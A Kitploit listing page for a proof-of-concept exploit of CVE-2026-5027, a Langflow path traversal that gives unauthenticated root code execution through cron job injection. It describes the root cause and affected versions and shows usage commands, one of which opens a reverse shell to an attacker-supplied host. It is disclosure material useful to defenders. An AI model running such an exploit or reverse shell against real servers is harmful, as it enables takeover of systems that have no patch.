Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-5027 — Proof-of-concept exploit for CVE-2026-5027, a path traversal vulnerability in Langflow leading to unauthenticated remote code execution via cron job injection. | Kitploit
Tools/GitHubGitHub/yahiahamza/cve-2026-5027
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubyahiahamza/cve-2026-5027

CVE-2026-5027

Proof-of-concept exploit for CVE-2026-5027, a path traversal vulnerability in Langflow leading to unauthenticated remote code execution via cron job injection.

View Repository
42247 months agoNot yet reviewed
Share

CVE-2026-5027 - Langflow Path Traversal to Remote Code Execution

Description

Langflow versions up to and including 1.8.4 do not sanitize the filename parameter in the POST /api/v2/files endpoint. An attacker can use path traversal sequences (../) to write files to arbitrary locations on the filesystem. When combined with Langflow's default auto-login configuration, this is exploitable without any authentication, leading to Remote Code Execution as root via cron job injection.

Affected Versions

  • Vulnerable: Langflow <= 1.8.4
  • Fixed: No patch available at time of writing
  • Default config: Auto-login enabled (unauthenticated exploitation)
  • Advisory: Tenable TRA-2026-26

Usage

# Proof of concept (writes test file to /tmp/)
python3 exploit.py -t http://target:7860

# With credentials (if auto-login is disabled)
python3 exploit.py -t http://target:7860 -u admin -p password

# Reverse shell via cron job
python3 exploit.py -t http://target:7860 --lhost YOUR_IP --lport 4444

Example Output

CVE-2026-5027 Exploit

CVE-2026-5027 Reverse Shell

Root Cause

The upload_user_file() function in src/backend/base/langflow/api/v2/files.py passes file.filename directly to the storage service without sanitization. The LocalStorageService.save_file() constructs the path using folder_path / file_name, which does not prevent directory traversal.

References

  • Tenable Advisory TRA-2026-26
  • Langflow GitHub
  • CVE-2026-5027: Langflow Path Traversal to RCE - Full Technical Analysis

Disclaimer

This tool is provided for authorized security testing and educational purposes only. Only use on systems you own or have explicit permission to test.

Author

Yahia Hamza - https://yh.do

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    916
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    558
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    370
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    360
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    317
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    289

Explore all tools

Browse our collection of tools

View all tools →